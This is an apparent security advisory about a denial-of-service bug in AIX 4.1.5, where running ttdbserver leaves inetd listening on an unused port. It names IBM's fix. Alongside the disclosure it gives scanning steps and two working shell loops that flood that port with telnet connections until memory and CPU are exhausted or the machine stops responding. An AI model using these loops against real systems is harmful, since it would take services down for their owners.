COMMAND

    ttdbserver

SYSTEMS AFFECTED

    AIX 4.1.5

PROBLEM

    Klaus  Kusche  found  following.    AIX  4.1.5  machines   running
    ttdbserver are  vulnerable to  a DoS  attack.   The attack  can be
    carried out from  any machine on  the net and  does not require  a
    userid  or  password  on  the  target  machine.   Depending on the
    configuration of the  target, the effect  may range from  a slight
    slowdown or permanent memory consumption to a complete crash.

    Whenever "ttdbserver"  is started  (and it  is started  by default
    when  the  machine  is  booted),  a  port >=1024 is assigned to it
    dynamically.  Let's call this port  number n.  Due to some  bug in
    inetd, this also  causes inetd to  listen on the  port with number
    n-1.  For example, if ttdbserver  is on port 1026, 1025 will  also
    start listening.   No service  is associated  with that  listening
    port, i.e.  inetd will  allow incoming  connections, but  will not
    start any program for handling them.

    How to check for a vulnerable machine:

        1.) Use  "rpcinfo -p  <hostname>" to  scan for  machines where
            ttdbserver is running, and note down the port number given
            to it.
        2.) Use  "telnet <hostname>  <n-1>" to  try to  connect to the
            port  with  the  next  lower  number.  If  a connection is
            established,  and  you  can  type  something without being
            thrown out and without getting any response back, you have
            most likely found a vulnerable machine.

    Attack is to perform the telnets  in a loop, as fast as  possible.
    Send a few characters  (important, "empty" telnets have  little or
    no effect), and quit or  kill telnet.  The effect  differs whether
    you quit or kill  telnet, try both and  chose the one your  target
    likes best.

    Example 1:

        while true
        do
        telnet testhost 1025 <<EOF
        jbgkdbdkbdfbdbdfdgbddbkbkdgbdk
        ^]
        quit
        EOF
        done

    The  loop  makes  a  few  hundred or thousand successful connects.
    This causes some 100 pages of memory being consumed on the  target
    machine.  Then, no more telnets to port 1025 are accepted:  telnet
    reports a timeout. The target machine is still operating normally:
    network operation (except for port  1025) is not affected, and  no
    error messages or other misbehaviour. However, the memory is never
    freed  again,  netstat  shows  hundreds  of CLOSE_WAIT connections
    staying around until  reboot, and worst  of all the  kernel thread
    "gil" was  constantly consuming  about 20  % CPU  in sysmode, even
    after the attack ended, until  the machine was rebootet (at  least
    for the 30 minutes before rebooting in test).

    Example 2:

        while true
        do
        telnet testhost 1025 <<EOF >/dev/null 2>&1 &
        gbbhgdhjgd
        EOF
        sleep 1
        kill %%
        done

    This brought the target machine to its knees within a few seconds:
    It didn't  panic, but  it didn't  react any  longer to any network
    connection attempts or  any terminal input.   Stopping the  attack
    didn't  help.   The  effects  differ  depending  on  the  size and
    configuration of the target and the network speed.

SOLUTION

    An  IBM  fix  is  available.   The  inetd  patch IX70400 fixes the
    problem (fileset bos.net.tcp.client 4.1.5.12).  Don't be  confused
    by the  description of  that APAR  - the  APAR is  for a different
    inetd problem, it solves this bug as a side effect.